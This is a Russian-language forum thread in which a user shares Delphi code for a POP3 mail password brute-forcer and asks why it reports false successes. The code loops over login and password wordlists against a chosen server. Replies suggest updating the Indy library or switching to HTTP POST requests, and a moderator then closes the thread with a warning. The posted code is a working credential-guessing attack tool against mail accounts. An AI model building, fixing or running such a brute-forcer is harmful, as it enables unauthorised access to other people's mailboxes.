майл брут

[betirsolt]

всем привет вот нашел один пример брута но че то тут не то

procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings, PassStrings:TStrings;
i, j:Integer;
begin
//Создаем массивы строк
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Загружаем варианты — справочники имен и паролей
LoginStrings.LoadFromFile(NameEdit.Text);
Passstrings.LoadFromFile(PassEdit.Text) ;
//Устанавливаем адрес и порт сервера
IdPOP31.Host := ServerNameEdit.Text;
IdPOP31.Port := StrToInt(PortEdit.Text);
//Начинаем перебор
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
//Передаем имя и пароль компоненту
IdPOP31.Username := LoginStrings.Strings[i];
IdPOP31.Password := PassStrings.Strings[j];
//Попытка соединения.
try
IdPOP31.Connect;
except
end;
//Если соединение установлено, то выводим об этом сообщение
if IdPOP31.Connected then
begin
//Показываем найденный пароль
Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+'Пароль:'+PassStrings.Strings[j]), 'Пароль найден');
IdPOP31.Disconnect;
Exit;
end;
end;
//Уничтожаем массивы строк
LoginStrings.Free;
PassStrings.Free;
end;

все компилируется без ошибок,но когда запускаю прогу она выводит сообщение что пароль найден,не смотря на то что в файле с пассами его нет....и если даже он там есть то он показывает не правильный пароль...помогите разобраться

[Вавел из ГМТУ]

Значит IdPOP31.Connected = True.

[betirsolt]

Сообщение от Вавел из ГМТУ

Значит IdPOP31.Connected = True.

как он может соединиться если там даже пароль не указан??или указан не верный???
у меня тут вообще интересно получаеться теперь.....если скомпиоировать тот же код в delphi7 то он работает отлично.....а вот если скомпиоировать в code gear то вообще не понятно как себя ведет эта прога

[TwiX]

Значит глючный idPop3. Обнови инди. Какая сейчас версия?
Я бы это делал через idHttp, пост-запросами.

Да и у тебя в подписи написано:

Не возжелай логин ближнего своего!

xD

[betirsolt]

Сообщение от TwiX

Значит глючный idPop3. Обнови инди. Какая сейчас версия?
Я бы это делал через idHttp, пост-запросами.

Да и у тебя в подписи написано:
xD

какая версия я не знаю...но там у меня есть папки Indy10 и indy9....а через idHttp я и не умею(((а насчет логина мне важен сам процесс а не пароль...как мне ее обновить???у меня code gear

[TwiX]

http://kvendi.pp.ru/?p=66

Вот тут достаточно подробно

А чтобы узнать версию инди, то, например, добавляем на форму idhttp и щёлкаем правой кнопкой - первая строчка сверху и есть версия "About InDy 10.5.7" - у меня

[betirsolt]

Сообщение от TwiX

http://kvendi.pp.ru/?p=66

Вот тут достаточно подробно

А чтобы узнать версию инди, то, например, добавляем на форму idhttp и щёлкаем правой кнопкой - первая строчка сверху и есть версия "About InDy 10.5.7" - у меня

уменя 10.1.5 indy....ее стоит заменять????

[Пепел Феникса]

я бы заменил.

[betirsolt]

я скачал ее.но там написано (Запустите Delphi , выберите в меню “Component”->”Install Packages”. В появившемся списке снимите галки с всех пакетов Indy. )у меня code gear и в этом появившемся окне нет ничего с названием indy...как ту быть??помогите обновить

[Квэнди]

Закрыто.
Автору: за обсуждение написания опдобнного софта, да еще и при тсутствии начальных знаний, в следующий раз будет предупреждение.